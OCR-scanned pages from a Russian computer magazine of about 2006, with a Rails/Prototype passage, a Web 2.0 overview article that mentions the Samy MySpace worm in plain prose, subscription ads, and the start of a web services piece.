ственные функции, обобщают ЗОЁ-запросы. Про- 
стым и гениальным решением для них может 
стать паттерн Active Record, созданный Мартином 
Фаулером. Сравним два листинга: 
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Чувствуется разница. Во втором случае (после 
взятия из БД) person является объектом, и мож- 
но производить над ним разные действия, кото- 
рые будут отражены в базе данных. Играючи вы- 
бираем данные по разным параметрам, из свя- 
занных таблиц и т.д. Не нужно подолгу размы- 
шлять о SQL-3anpocax: просто определи, что 
нужно именно тебе, и сразу же начинай вопло- 
щать это в коде. Кодерство осталось в прошлом, 
будущее принесет тебе Rapid Application Deve- 
lopment (быстрая разработка приложений) и зва- 
ние разработчика. 

В шаблонизаторе ВоН имеется множество 
встроенных помощников (helpers), позволяющих 
реализовывать АУАХ-вызовы и визуальные эф- 
фекты не выходя за рамки языка Ruby. Все это чу- 
до происходит за счет библиотеки Prototype и ее 
спутника Script.aculo.us. 
+> волшебство Script.aculo.us. JavaScript давно 
стал «нашим всем» — с тех времен, когда все та- 
скали с одного и того же ресурса скрипт с падаю- 
щими снежинками и размещали его у себя на сай- 
те. Эх, куда ушли те времена... Слава светлым си- 
лам, что они прошли: JavaScript использовался 
только для бесполезного украшательства. Сейчас 
же в основном его применяют для повышения 
изарййу. Конечно, иногда налицо перерасход фан- 
тазии, но это лишь «перегибы на местах». 

JavaScript, как и Ruby, — объектно-ориен- 
тированный язык. Видимо, поэтому многие РНР- 
программисты не дружат с ним и пытаются най- 
ти способ облегчить свои страдания при написа- 
нии простеньких скриптов, пока не найдут свя- 
щенный Грааль — библиотеку Prototype. В пер- 
вую очередь она привлекает внимание к себе 
замечательной по простоте функцией $ (дол- 
лар). Этот знак хорошо знаком всем нам не 
только по многочисленным обменникам валют, 
но и по языку РНР. В Prototype этот знак заме- 
нил сложную конструкцию document.getElement- 
Byld(‘id’). Получается, что, обращаясь $(‘id’), ты 
работаешь с любым элементом на странице так, 
как будто работаешь с переменной. Не правда 
ли это очень удобно? 

Начиная с версии 1.5.0 в Prototype также 
имеется функция «два доллара» ($$) — в два ра- 
за дороже одного доллара. Воспользовавшись 
этой функцией, ты обращаешься к целому семей- 
ству элементов массива, основываясь на прави- 
лах css-cenekTopos. $$(‘p.left?) — получаешь кол- 
лекцию абзацев, которым присвоен класс left. 

Следующее бескомпромиссное удобство — 
расширения объектов, в том числе кроссбрау- 
зерная поддержка событий. Объект Event позво- 
ляет назначать события любому элементу на 
странице. В общем, твоя работа с коллекциями 
и элементами массивов превратится в прогулку 
по райским кущам. 


для всех ссылок на странице, имеющих 
класс alert, перед загрузкой ссылки вывести 
окно с адресом ссылки 


Если запишешь все это в одну строку, получишь 
сногсшибательную картину. Конечно же, prototype 
обладает еще и кроссбраузерным XMLHitprequest 
(ХНА) — им сейчас никого не удивишь. 

Script.aculo.us — это надстройка над Prototy- 
ре, которая реализует некоторые интерфейсные 
элементы и визуальные эффекты: автодополне- 
ние, drag&drop, генератор РОМ-элементов. От 
своего родителя Prototype эта библиотека унасле- 
довала изящность и внешнюю простоту. 


пример реализации эффекта мягкого 
«схлопывания» для элемента 


Prototype в связке со Script.aculo.us берут на се- 
бя все рутинные операции при создании пользо- 
вательского интерфейса. Но не стоит злоупотре- 
блять этим и использовать эффекты ради самих 
эффектов. Не забывай о том, что пользователь 
должен получать удовольствие при работе с 
твоим сайтом. 

> — что нам стоит дом построить? Если ты уже 
собрал достаточное количество инструментов, 
тебе наверняка захочется создать какой-нибудь 
сервис — подкину несколько идей. На сегодня 
доступны карты Москвы от Google, значит, мож- 
но создать альтернативу картам различных раз- 
влекательных заведений (их составляют редак- 
торы) и предоставить пользователям право са- 
мостоятельно наносить на карту любимые бары, 
кафе, клубы и т.д. Если совместишь карту с об- 
суждением конкретного места, получится весьма 
активное сообщество. 

Если хочешь добыть денег, устрой место 
встречи псевдогламурных девчонок, где они смо- 
гут собирать, обсуждать и рейтинговать свою 
одежку и любимые магазинчики. На данный мо- 
мент подобные коммуникации проходят в форма- 
те форума, но потенциал аудитории огромен. Чув- 
ствую, за счет размещения рекламы на таком сай- 
те ты сможешь поесть хлебушка с маслицем. 

Рунет растет, растет и количество его поль- 
зователей, соответственно, потенциальная ауди- 
тория твоего сервиса или сайта будет гарантиро- 
ванно увеличиваться и наверняка найдется груп- 
па людей, для которых ты сделаешь доброе дело 
реализовав собственную идею © 


Попробуйте подписаться в редакции, позвоните нам. 


(это удобнее, чем принято думать 


ж Для подписчиков в Москве курьерская 8-495-780-88-29 (пля москьь) 

доставка БЕСПЛАТНО в день выхода журнала 8-800-200-3-999 (118 России) 
х Дешевле, чем в розницу ВСЕ ЗВОНКИ БЕСЛАТНЫЕ 
ж Гарантия доставки и замены в случае потери Ам 


* Специальные предложения для подписчиков 
ж Первый номер подписки высылается по звонку 
вместе с заполненной квитанцией для оплаты 


(game)lant 
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Пока мы углубляемся в воспоминания, умные люди 
проанализировали последние тенденции и объеди- 
нили их под наименованием Web 2.0. Попробуем 
разобраться, действительно ли это явление имеет 
место или Web 2.0 — пустой звук, которым пред- 
приимчивые бизнесмены заманивают лопухов. 

На конец 90-х, как известно, пришелся интер- 
нет-бум. В то время программист на Западе почти 
приравнивался к богачу. В России же многочислен- 
ные аутсорсные конторы получали колоссальную от- 
дачу, которая была намного больше, чем сейчас. 
Проекты лились лавиной. Я помню, как в моей пер- 
вой фирме в Харькове в 1998 году на мой стол ежед- 
невно ложилось с десяток технических заданий на 
проекты, от половины которых мы просто отказыва- 
лись, — непозволительная роскошь в наше время. 

Впрочем, недолго музыка играла, недолго 
фраер танцевал. Уже в 2001 некоторые американ- 
ские и европейские программисты лишились 
своих служебных авто, офисных массажисток, 
бесплатной пиццы на рабочем месте и премий. На- 
ступил закат «новой экономики». 

Удивительно, но спустя пять лет после этих 
событий никакого упадка web’a и интернете не Ha- 
блюдается. Все больше бизнес-проектов считают 
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вторая 
версия 


ум\меб-будущего 


WEB 2.0 ДЛЯ ДЕДУШЕК, БАБУШЕК 


И ИХ РОДИТЕЛЕЙ 


ОГЛЯНУВШИСЬ ЛЕТ НА СЕМЬ НАЗАД, МОЖНО ОБНАРУЖИТЬ, ЧТО ИНТЕРНЕТ 
СЕГОДНЯ СОВСЕМ HE ТОТ, КАКИМ БЫЛ РАНЬШЕ. СОВСЕМ НЕ ТОТ. И WEB- 
СТРАНИЧКИ НЕ ТЕ, И ЧАТЫ, И ДАЖЕ БРАУЗЕРЫ СТАЛИ СОВСЕМ ДРУГИМИ. БАБУШКИ 
НА СКАМЕЙКЕ ВО ДВОРЕ ТВОЕГО ДОМА ВСПОМИНАЮТ ПРО ТО, КАК ОНИ ЖИЛИ ПРИ 
СОВЕТСКОЙ ВЛАСТИ И КАКИМИ БЫЛИ В МОЛОДОСТИ. ВСПОМНИМ И МЫ О ТОМ, 
КАКИМ БЫЛО ПРОШЛОЕ ИНТЕРНЕТА И ЧТО ТВОРИТСЯ В НЕМ СЕЙЧАС 


КОНСТАНТИН КЛЯГИН 
{thekonst.net} 


своим долгом предоставлять онлайн-доступ к 
своим услугам. Интернет-сервисы стали только 
важнее и прочнее укрепились в нашей повседнев- 
ной жизни, начиная банальным е-тай и заканчи- 
вая такими вещами, как интернет-дневники (web- 
логи) и р2р-сети. Мы пишем посты в ЖЖ, скачива- 
ем фильмы в eMule, покупаем и продаем что угод- 
но в системах вроде еВау и читаем «Википедию». 
> рождение тренда. Очевидно, что термины 
прошлого, вроде «новой экономики», на землю 
прислали не инопланетяне — их придумали и 
определили люди. Точно так же дела обстоят и с 
Web 2.0. Концепция родилась пару лет назад BO 


время дискуссии на конференции между изда- 
тельством O'Reilly и MediaLive International. На этой 
конференции эволюция интернет-сервисов была 
проиллюстрирована изменениями, которые про- 
изошли во всемирной сети за последние годы. 
Старый web именовался при этом Web 1.0. 

К примеру, было обнаружено, что вместо ре- 
кламной службы DoubleClick появился Google Ad- 
Sense, а публика предпочла Ofoto более удобный 
Flickr (www.flickr.com), На место тр3.сот сначала при- 
шел Napster, а затем сотни подобных ему распре- 
деленных сетей. И простые люди, и знаменитости 
стали заводить дневники-блоги вместо домашних 


ВМЕСТО СПЕКУЛЯЦИИ ДОМЕННЫМИ ИМЕНАМИ 
ВЛАДЕЛЬЦЫ РЕСУРСОВ СТАЛИ ЗАНИМАТЬСЯ 
ОПТИМИЗАЦИЕЙ САЙТОВ ДЛЯ ПОИСКОВИКОВ 


страничек. Вместо спекуляции доменными имена- 
ми владельцы различных ресурсов стали зани- 
маться оптимизацией сайтов для поисковиков. Yx- 
ватившись за эти отличия, они проанализировали 
качественные изменения и формализовали спи- 
сок основных идей Web 2.0: 


~~ WEB КАК ПЛАТФОРМА ДЛЯ 
ПРИЛОЖЕНИЙ — СЕРВИСОВ, А НЕ 
«КОРОБОЧНОГО» ПО. 


— ПОЛЬЗОВАТЕЛИ КАК ГЛАВНЫЙ ИСТОЧ- 
НИК ПОЛЬЗЫ, ДОВЕРИЕ ПОЛЬЗОВАТЕ- 
ЛЯМ КАК СОРАЗРАБОТЧИКАМ. 


— ИСПОЛЬЗОВАНИЕ КОЛЛЕКТИВНОГО РА- 
ЗУМА ПОЛЬЗОВАТЕЛЕЙ. 


— ДАННЫЕ КАК СЛЕДУЮЩИЙ «INTEL INSIDE». 
КОНТРОЛЬ НАД УНИКАЛЬНЫМИ, СЛОЖ- 
НОВОСПРОИЗВОДИМЫМИ ДАННЫМИ, KO- 
ТОРЫЕ СТАНОВЯТСЯ БОГАЧЕ, КОГДА ИХ 
ИСПОЛЬЗУЮТ БОЛЬШЕ ПОЛЬЗОВАТЕЛЕЙ. 


— КОНЕЦ ПРИВЫЧНОГО ЦИКЛА РАЗРАБОТ- 
КИ — ПОСТОЯННАЯ БЕТА 
(ПРИМЕР — gmail.com). 


— ОСНОВНОЙ КОНТЕНТ СЕТИ НАХОДИТСЯ 
НА МНОЖЕСТВЕ МЕЛКИХ САЙТОВ (КРУ- 
ПНЫЕ — ЛИШЬ МАЛАЯ ЧАСТЬ), ПРИ- 
ВЛЕЧЬ ОСНОВНУЮ АУДИТОРИЮ (ОБРЕ- 
ЗАТЬ «ДЛИННЫЙ ХВОСТ» КРУПНЫХ 
ПОРТАЛОВ) МОЖНО С ПОМОЩЬЮ РЕА- 
ЛИЗАЦИИ ПОЛЬЗОВАТЕЛЬСКОГО САМО- 
ОБСЛУЖИВАНИЯ. 


“ МЕВ-СОФТ КАК СРЕДСТВО, РАБОТАЮ- 
ЩЕЕ НА САМЫХ РАЗНООБРАЗНЫХ 
УСТРОЙСТВАХ: ПК, СЕРВЕРЫ, КПК И Т.Д. 


— «ЛЕГКИЙ» ИНТЕРФЕЙС ПОЛЬЗОВАТЕЛЯ, 
ЛЕКГОВЕСНЫЕ ПРОГРАММНЫЕ И БИЗ- 
НЕС-МОДЕЛИ. 


> — мир победившей спекуляции: eBay. «Рань- 
ше, — говорит, сидя на скамейке во дворе пяти- 
этажки, Мария Федоровна, или просто баба Ма- 
ня, — порядок был. А спекулянтов наоборот не бы- 
ло, хоть в магазинах товаров было негусто». Ин- 
тернет в 90-х, по сути, был устроен точно так же. 
Сайтов было немного, и каждый из них старался 
аккумулировать как можно больше информации 
по своей тематике. Обмена информацией не про- 


исходило, не было и связующих звеньев. Продав- 
ец лестниц-стремянок делал свой стремяночный 
сайт. Фирма по производству садовых ножниц и 
яблокоснимателей — свой, где и торговала про- 
дукцией, насколько это позволяли тогдашние пла- 
тежные онлайн-системы. 

Первой объединяющей силой в этой массе 
разрозненных меБ-сайтов стал поисковик-перво- 
проходец Yahoo!, у которого к тому же имелся 
свой портал с категоризированной коллекцией 
ссылок. Хуже остальных жилось пользователям: 
попробуй найди в такой массе нужное. Учитывая, 
что пользователей интернета было меньше, чем 
сейчас, что их навыки работы были хуже, а сайты 
неудобнее (причем на каждом применялся особый 
подход к навигации), совершить покупку было 
сложно даже если ты нашел нужный сайт. 

И куда же податься простому интернет-поль- 
зователю, который хочет продать какую-нибудь 
ненужную ерунду? Открывать свою страничку и 
регистрировать ее в портале? Столько всего, что- 
бы продать, скажем, две материнских платы? 
Можно было, конечно, вывесить предложение на 
сайтах, которые специализируются на объявле- 
НИЯХ «куплю-продам», как газеты. В то же время 
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такие сайты исчислялись дюжинами, каждый об- 
заводился особым дизайном и на каждый прихо- 
дилось вешать объявление. Неудобно. 

Так бы оно и продолжалось, если бы не по- 
являлся спекулянт-сводник, а вернее сайт-посред- 
ник, который здорово облегчал жизнь интернет- 
пользователей, желающих что-нибудь продать 
или купить. Речь идет о нашем первом примере 
сайта Web 2.0 — eBay. Главное, что отличает его 
от досок объявлений, — это наличие обратной 
связи с пользователями. 

Скажем, что произойдет, если на обычной 
доске объявлений вдруг объявится жулик? Пред- 
лагал товар задешево, взял задаток — и был та- 
ков. Нет возможности узнать, порядочен ли про- 
давец! еВау решил эту проблему вполне в духе со- 
общества — поручил контроль пользователям: со- 
ставляется рейтинг продавцов, каждого покупате- 
ля просят выставить оценку за сервис и написать 
отзыв. В результате из двух продавцов одного и 
того же товара покупатели выбирают того, кто 
обладает более высоким рейтингом, то есть услу- 
гами которого остались довольны больше покупа- 
телей. Первый же клиент поставит жулику «неза- 
чет» и напишет гневный отзыв. Вряд ли у такого 
продавца еще появятся клиенты. 

По сути, еВау — автономная система, сайт, 
направление развития которого задают пользова- 
тели, а не администраторы. Чем активнее пользо- 
ватели участвуют в работе сайта, тем интереснее 
и полезнее становится этот проект. Вот главная 
особенность концепции Web 2.0, но не единствен- 
ная. Тот же еВау обладает собственным АР! — на- 
бором доступной снаружи функциональности, с 
помощью которого можно интегрировать еВау в 
собственный сайт. 
>  ноосфера в интернете. Среди первой сотни 
сайтов интернета можно обнаружить «Википе- 
дию» — хороший источник справочной информа- 
ции по временам, к которым относятся воспоми- 
нания бабы Мани. Сталин, Хрущев, Брежнев, 
стройки века ДнепроГЭС и БАМ... Статьи о вехах 
истории и не только можно найти в большой он- 
лайн-энциклопедии, редакторами которой явля- 
ются ее же пользователи. Здесь можно найти 
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статью на любую тему: от истории Средних веков 
до новой версии Windows — Vista. Кроме того, 
если какая-то статья отсутствует или требует до- 
полнений, ты поправишь положение дел не отхо- 
дя от кассы. Именно по этой причине «Википе- 
дия» — могучий эксперимент, призванный прове- 
рить, действительно ли достоверна информация 
от разношерстной толпы интернет-пользовате- 
лей, каждый из которых имеет возможность вно- 
сить изменения в содержимое статей. Судя по ре- 
зультатам на сегодняшний день, можно. Если 
проигнорировать периодические проявления ван- 
дализма по отношению к популярным или злобо- 
дневным статьям, на «Википедию» можно поло- 
житься в тех случаях, когда требуются какие-то 
общие, энциклопедические сведения. Принципы 
Web 2.0 («Данные — главная ценность» и «Чем 
больше аудитория, тем лучше сервис») иллюстри- 
руются здесь довольно наглядно. 

Собственно идея энциклопедии не нова. С 
1768 года существует продукт шотландского 
просвещения — Britannica, которая в последнее 
время издается на CD, а также как меБ-сервис Bri- 
tannica Online. Однако если «Википедия» создает- 
ся усилиями практически всех желающих, то на- 
писание Britannica — более закрытый процесс. 
Веками она собиралась из тщательно выверен- 
ных статей, в то время как «Википедия» возникла 
как средство сбора информации, и позже за до- 
вольно короткое время была наполнена содержа- 
нием и продолжает наполняться им сейчас. 

Со времени первого издания Britannica и до 
появления интернета существовал только один 
способ собрать данные произвольной тематики — 
набрать людей, которые бы копили их и обрабаты- 
вали. Участие широкой публики в этом процессе 
затруднялось из-за отсутствия средств быстрой 
коммуникации. С недавних пор проблема связи 
решена, и известно как минимум два способа по- 
строить объемную базу. Первый заключается в 
том, чтобы, как и прежде, инвестировать значи- 
тельную сумму в сбор и поддержание актуально- 
сти данных. Достоинство этого подхода в том, что- 
бы без труда и оглядки на авторские права прода- 
вать лицензии на использование информации. 
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Второй подход — позволить потенциальным 
потребителям информации (с максимальным ох- 
ватом аудитории) дополнять и уточнять данные. В 
этом случае встает вопрос авторских прав. Ска- 
жем, пользователь оставляет свою рецензию к 
фильму на нескольких сайтах, посвященных кине- 
матографу. Как узнать, была ли эта рецензия 
сперта конкурентом или она действительно оста- 
влена на двух ресурсах? Тем не менее можно из- 
влечь выгоду даже из обладания базой данных, а 
не из копирайта на ее содержимое. 

Например, amazon.com, мировой лидер по 
онлайн-продажам книг, однажды купил базу дан- 
ных ISBN (числовые обозначения изданий, каж- 
дое из которых имеет уникальный номер) у В.В. 
Bowker. Они снабдили информацию картинками с 
обложками, главами-примерами и добавили к 
этому отзывы и рейтинги от пользователей своего 
web-caiita. Если кто-то хочет получить исчерпы- 
вающую библиографическую информацию о кни- 
ге, он идет He K R.R. Bowker, а Ha amazon.com. Все 
это похоже на начало конкуренции между постав- 
щиками информации и теми, кто пользуется ей, 
особенно если последние становятся более попу- 
лярным источником, чем оригинал. 
> тысяча леммингов не могут ошибаться. 
«Превед, кросавчег!» Если тебе известна эта 
фраза, то, скорее всего, ты имеешь отношение к 
ЖЖ, или «живому журналу» — крупнейшему сай- 
ту персональных журналов, или блогов. Его участ- 
ники обычно записывают или иллюстрируют то, 
что они покушали, куда сходили, с кем поспали, 
что видели и о чем думали. Казалось бы, полная 
чепуха (так оно и есть! — прим. Dr.). В то же вре- 
мя несколько журналов (скажем, объединение 
людей из одного и того же региона) образуют 
СМИ наподобие газеты или журнала, из которого 
вполне можно узнать, что происходит в этом ре- 
гионе в действительности. Скажем, через офи- 
циальные СМИ власти рапортуют о рекордных 
урожаях на полях. Блоггеры (жители мест, хозяй- 
ства которых якобы обогащены урожаем) видят, 
что земля ссохлась и покрылась трещинами, и пи- 
шут об этом в ЖЖ. Разумеется, вперемешку с 
описанием того, что они покушали и что посмо- 
трели по телевизору. 

Приведенный пример называется граждан- 
ской журналистикой. Согласись, довольно любо- 
пытная альтернатива газете «Правда», которую 
читали бабушки и в которой, как известно, писали 
только правду. 
> = автоматику в массы. С точки зрения техно- 
логии, хорошим дополнением к блогам стал RSS 
(Really Simple Syndication или Rich Site Summary — 
никто не знает оригинального значения аббревиа- 
туры). С помощью В$$-лент можно подписаться 
на обновления того или иного дневника или сайта. 
Технология простая, как косяк входной двери. 
Лента является не чем иным, как небольшим фай- 
лом в формате XML, где содержатся краткие 
анонсы последних обновлений. Однако с ее помо- 
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щью можно здорово ускорить общение между 
пользователем и сайтом или даже автоматизиро- 
вать взаимодействие одного сайта с другим. Для 
пользователей существуют специальные програм- 
мы — RSS-arperatopbl, которые периодически 
проверяют ленты, интересные владельцу, и не- 
медленно сообщают об обновлениях на его люби- 
мых ресурсах. 

В недалеком прошлом автоматическое выку- 
сывание заголовков с сайтов новостей приводило 
к катастрофам. Приходилось анализировать 
HTML-kog страниц соответствующих сайтов, что, 
естественно, в случае смены их дизайна предпо- 
лагало модификацию программы-читалки. Теперь 
же задача размещения последних заголовков 
BBC, CNN, Reuters, «УНИАН» и «ИТАР-ТАСС» Ha 
сайте с помощью RSS решается элементарным 
образом: все информационные агентства имеют 
общедоступные ленты в формате, доступном для 
обработки одним и тем же парсером. 
>» разработка в эру Web 2.0. Теперь, когда у Hac 
есть несколько примеров весьма успешного приме- 
нения Web 2.0, рассмотрим процесс разработки та- 
кого infoware (информационного обеспечения). Тер- 
мин software тут едва ли подойдет, так как задача 
создания клиентского софта для новой платформы 
решена: в качестве клиента к приложению выступа- 
ет банальный браузер, как правило, неважно какой 
именно — MSIE, Mozilla или Safari. Kctatu, по этой 
же причине специализированным приложениям, ра- 
ботающим на пользовательских машинках, некото- 
рые апологеты Web 2.0 предрекают тотальное вы- 
мирание в самое ближайшее время. По-моему же, 
они вымрут лишь частично и их смерть будет гораз- 
до более мучительной, чем кажется. Скажем, для 
участия в сетях вроде eMule одним браузером сей- 
час не обойдешься, хотя тот же еМие демонстриру- 
ет прогрессивную технологию peer-to-peer, которая 
считается ближайшим родственником Web 2.0. 


Многим профессиональным разработчикам 
софта хорошо знаком цикл с бетами, кандидата- 
ми, баг-фиксингом и релизами. Последние счита- 
ются завершением цикла на определенном этапе, 
так как релиз-версии должны быть максимально 
стабильными и не должны содержать никаких 
страшных багов. После релиза, как правило, мож- 
но расслабиться и уехать в отпуск, спихнув основ- 
ную работу отделу поддержки пользователей. 

Так разрабатывается продукт. Mpoektb! Web 
2.0 можно назвать продуктами только с натяжкой: 
они не поставляются пользователям в коробках и 
не отмечаются релизами, а постоянно крутятся на 
сервере, предоставляя сервис. В таких условиях 
единственное, что можно предпринять, — накла- 
дывать обновления на уже существующую и рабо- 
тающую систему. Что-то исправлять, что-то добав- 
лять. Таким образом, программная часть сервиса 
существует в виде перманентной бета-версии. 

Кроме того, некоторые сервисы в Web 2.0 


набор довольно старых технологий, собранных 
вместе таким образом, чтобы в web-6payz3epe ста- 
ло возможным построить интерфейс сродни гра- 
фическому м/пао\мз-приложению. Максимально 
интерактивный, быстрый и удобный. 

Среднестатистический мер-сайт, привычный 
всем нам, работает с задержками. Все знают, что 
если требуется произвести какое-либо действие 
на сайте, нужно нажать на кнопку или линк, затем 
обязательно прождать какое-то время до загрузки 
новой страницы и получения результата. Продол- 
жительность ожидания ответа зависит от произво- 
дительности сервера и от скорости интернет-сое- 
динения. 

Сайт, построенный Ha AJAX, далеко не всегда 
вынужден обращаться к серверу. Если он обраща- 
ется к нему, то запрашивает не страницы, а только 
данные, нужные ему. Все остальное — отображе- 
ние и взаимодействие с пользователем — произво- 
дится локально в браузере и освобождает от 
необходимости загружать в него новые страницы. 

Эти технологии просты: XHTML, CSS, DOM, 
XML, XSLT и JavaScript. Однако их использование 
не очень просто. В то же время компания Adaptive- 
Path, которая занимается РН’ом этого подхода, 
утверждает, что овчинка стоит выделки и что ре- 
зультат, РС-подобный интерфейс пользователя, 
вполне оправдывает труд по написанию и отладке 
сотен строк Ha JavaScript в различных браузерах, 
не всегда совместимых с другими. Любой, кто ви- 
дел Gmail и Google Maps в действии, согласится, 
что GUI Tam действительно неплох. 
>  библиотекарше на заметку. Есть еще один 
прием для облегчения классификации и восприя- 
тия информации. С некоторых пор он также ассо- 
циируется с Web 2.0, но не относится к интерфей- 
су пользователя. Заинтригован? 

Речь идет о так называемой фолксономии 
(сравни с «таксономией» — каталогизацией и си- 
стематизацией информации) — способе поиска 
информации (картинок, текста) без помощи дре- 
вовидного каталога. Принцип работы Web 2.0 
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должны постоянно самообновляться. Если бы паук 
от Google не индексировал ежедневно миллионы 
страниц, никто не заинтересовался бы сервисом 
поиска. 

> нажми на кнопку — получишь результат? 
С некоторых пор, а именно с 2005 года, с Web 2.0 
ассоциируется еще один тренд, популярный в со- 
временном \меб-строительстве и известный под 
аббревиатурой AJAX (Asynchronous JavaScript + 
XML, асинхронный JavaScript + XML). Однако AJ- 
АХ — He библиотека или средство разработки, a 


можно сравнить с библиотекой: вот здесь книжки 
о природе, здесь — о технике, а в этом углу — пор- 
нография. Забудь все это. Стало модным описы- 
вать каждый элемент при помощи ключевых слов. 
Прием не новый, но авторы Web 2.0 пророчат ему 
светлое будущее. 

Предположим, нам нужно классифицировать 
статью о Web 2.0. Вместо помещения в раздел 
«Компьютеры — Интернет — Новые тенденции» 
мы напишем «Web 2.0 интернет тренд клягин». Та- 
ким образом, ты найдешь статью после просмотра 
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списка последних трендов. С такой же легкостью 
можно будет просмотреть и список статей автор- 
ства твоего непокорного слуги, так как среди клю- 
чевых слов указана фамилия. И все это без двух 
параллельных каталогов — по тематике и авторам. 

Точно по такому же принципу устроен сервис 
Flickr, где к каждой фотографии прикрепляются те- 
ги — ключевые слова, определяющие ее тематику. 
Список тегов виден при просмотре фотографии. 
Если захочешь посмотреть другие фото, имеющие 
один из этих тегов и, соответственно, тематически 
связанные с просмотренным тобой, кликай по тегу. 
> хищные вещи века. В 90-е, когда больше 
всего были распространены домашние странички 
и сайты, не связанные друг с другом и предоста- 
вляющие сервисы, апофеозом хака считался де- 
фейс. Сломал web-cepsep, вывесил вместо глав- 
ной страницы ругательства — испытал чувство 
глубокого удовлетворения. То же самое без про- 
блем можно проделать и с сайтом Web 2.0 — до- 
статочно нащупать уязвимость серверного софта. 
Однако мы уже знаем, что во главу угла в наше 
время ставят не софт, а информацию, в которой и 
таится главная уязвимость системы, если в ней 
практически любой человек может повлиять на со- 
держимое. Нагадить на сайте Web 2.0 можно го- 
раздо более изящным способом. 

На данный момент, похоже, основная опас- 
ность исходит от спаммеров. Именно их програм- 
мы оставляют в комментариях к блогам тексты ре- 
кламы всякой гадости. Например, твоему покорно- 
му слуге, сайт которого даже не претендует на 
совместимость с Web 2.0, приходится регулярно 
вычищать вполне нейтральные комментарии вро- 
де «Good work!», к которым прилагается ссылка на 
какую-нибудь рекламу. Фильтровать спаммеров 
по |Р-адресам уже неэффективно из-за любителей 
анонимности, наоткрывавших прокси, которые ус- 
пешно используются и для сокрытия реального ад- 
реса робота, оставляющего рекламу. 

Подобные роботы существуют и для систем, 
базированных Ha wiki. На самом деле их применение 
возможно везде, где есть анонимный доступ или 
возможность автоматически зарегистрировать ак- 
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каунт. Если подумать, то их можно заточить таким 
образом, чтобы они искажали, портили данные, 
влияли на рейтинги или добавляли глупые рецензии. 
> опасные связи. Что же касается интенсивно- 
го использования клиентской части технологий 
вроде AJAX, то у них тоже есть замечательные дыр- 
ки. В этом смысле первый истинный червь web 2.0 
представлен недавним случаем, когда был поло- 
жен сайт тузрасе.сот. Столь громким титулом награ- 
дили его сами авторы блога Google. 

Сайт myspace.com предоставляет возможность 
размещать фотографии, блоги и видео. Плюс к 
этому, есть система френдования и, как полагает- 
ся в web 2.0, возможность интегрироваться с 
внешними сайтами. 19-летний девелопер по име- 
ни Samy из Лос-Анжелеса игрался с AJAX и с по- 
мощью одной строчки Ha Javascript, встроенной 
посредством CSS в профайл, положил сайт. Каж- 
дый, кто открывал его профайл, автоматически 
добавлял Зату в свои друзья. Просматривающий 
заражался и сам, так как в его профайле вместе с 
новым другом появлялся и код эксплойта. Цепная 
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реакция: каждый добавлял каждого в свои дру- 
зья — сервер грохнули. 

Самое интересное в том, что проблема бе- 
зопасности была не на стороне сервера. Напро- 
тив, авторы серверной части, по утверждению са- 
мого Samy, проделали большую работу, чтобы 
блокировать любые попытки взлома. Для добав- 
ления во френды нужно было выполнить целую 
последовательность POST- и СЕТ- запросов с хэ- 
шами. Но, несмотря на это, АЗАХ-технология и 
возможность выполнить код в браузере незамет- 
но для пользователя сделали возможным инфи- 
цирование профайлов. 

Предоставляя возможность другим сайтам ин- 
тегрироваться, открывая для этого собственную ар- 
хитектуру, нужно хорошенько задумываться о безо- 
пасности случайных связей. Как это было и до web 
2.0, и даже раньше — до тех пор пока не изобрели 
презервативы и кампанию «АнтиСпид». 
>» — вопрос гламурности. Бесспорно, Web 2.0 — 
не пустой звук, а важное явление и модный тренд. 
Отчетливо слышны громкие заявления !Т-компа- 
ний о совместимости чего-либо с Web 2.0. Резю- 
ме программистов тоже будут сверкать заголов- 
ками вроде «Web 2.0 developer». То, что мы наб- 
людаем, есть обычная эксплуатация модного яв- 
ления, которое у всех на слуху, будь то Web 2.0, 
проблема 2000 или меБ-порталы. Не избежать 
нам и жарких споров по поводу того, соответству- 
ет ли какой-либо сайт концепции Web 2.0. В точ- 
ности как у тинейджеров: «гламурно — не гламур- 
HO», «готично — не готично». 

На самом деле в этом мало смысла, так как 
в основе концепции лежат довольно общие прин- 
ципы, которые будут дополнены еще не раз. А мы 
с тобой, сидя на той же скамеечке у подъезда, где 
сегодня сидят милые старушки, когда-нибудь 
вспомним, как «оно было» в начале века, когда 
Web 2.0 только начинался © 
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EXCHANGE SERVER 

MS SQL SERVER 

11$ 

ДОМЕН В WINDOWS 2003 SERVER 
КРУТОЙ ХОСТИНГ 

НОРМАЛЬНУЮ БД ПОД «NIX 
КУЧУ ЖЕЛЕЗА OT CISCO 


А ТАКЖЕ СМОЖЕШЬ 
ГРАМОТНО 
СПЛАНИРОВАТЬ 
НАГРУЗКУ 

И БЕЗОПАСНОСТЬ 
СИСТЕМ И СЕТЕЙ! 


СКОРО В СПЕЦЕ: 


WINDOWS VISTA 

ВЗГЛЯД ИЗНУТРИ. ПОДРОБНЫЙ АНАЛИЗ НОВОЙ OC OT MICROSOFT. 
НОВЕЙШИЕ ТЕХНОЛОГИИ. УДОБСТВО, БЫСТРОТА РАБОТЫ. 

BSD 

УСТАНОВКА, НАСТРОЙКА, УПРАВЛЕНИЕ BSD-CUCTEMAMM. 
ИСТОРИЯ. БЕЗОПАСНОСТЬ. 

SPYWARE 

ТРОЯНЫ. ADWARE. БОТНЕТЫ. 

СПАМ. ВИРУСЫ. 
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Чего хочет любой человек, а особенно програм- 
мист? Правильно! Совершать поменьше тело- 
движений и при этом получать от жизни как 
можно больше. Добиться этого можно не изо- 
бретая велосипед. Существует очень мало за- 
дач, с которыми еще не сталкивался никто, кро- 
ме тебя. Очень велик шанс, что кто-то уже ре- 
шил эту задачу, — тебе остается только приспо- 
собить решение под свои нужды. 

\М/ер-сервис — это решение задачи. Внедряешь 
его в свою программу — и наслаждаешься жизнью. K 
примеру, поиск с учетом морфологии на нашей стра- 
ничке реализуется очень простым способом с помо- 
щью Япаех.ХМЕ — меБ-сервиса, который недавно от- 
крылся на базе поисковой системы Andex. 
3 — немного теории. По сути, \меб-сервис — это 
обмен документами стандартизированного фор- 
мата по существующему протоколу НТТР. Про- 
стейшим меб-сервисом можно назвать В$$-ленты 
новостей — краткие обзоры новостей сайтов, ин- 
формацию из которых можно публиковать, к при- 
меру, на собственном сайте. 

В последние несколько лет меб-сервисы 
распространились широко благодаря тому, что 
были стандартизированы протоколы обмена дан- 


РОДВИНУТЫЕ ИНСТРУМЕНТЫ 
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командуем сервисами 
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ными и реализована поддержка этих протоколов в 
большинстве языков программирования. Самым 
известным и используемым протоколом на сегод- 
ня является SOAP (Simple Object Access Protocol), 
получивший статус стандарта консорциума World 
Wide Web. SOAP поддерживает основные типы 
данных, такие как числа и строки, а также произ- 
